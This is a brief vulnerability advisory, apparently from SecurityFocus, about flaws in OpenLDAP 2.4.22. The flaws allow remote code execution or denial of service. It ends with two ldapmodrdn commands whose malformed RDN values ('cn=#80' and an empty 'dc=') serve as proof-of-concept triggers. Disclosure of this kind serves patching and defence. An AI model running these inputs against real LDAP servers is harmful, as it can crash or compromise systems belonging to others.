source: http://www.securityfocus.com/bid/41770/info

OpenLDAP is prone to multiple vulnerabilities.

Successfully exploiting these issues allows remote attackers to execute arbitrary code in the context of the application or cause denial-of-service conditions.

OpenLDAP 2.4.22 is vulnerable; other versions may also be affected.

ldapmodrdn -x cn=something,dc=anything cn=#80
ldapmodrdn -x dc=something,dc=anything dc=